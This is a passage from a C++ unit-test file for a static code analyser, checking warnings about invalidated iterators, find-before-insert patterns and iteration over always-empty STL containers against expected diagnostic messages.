\"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n 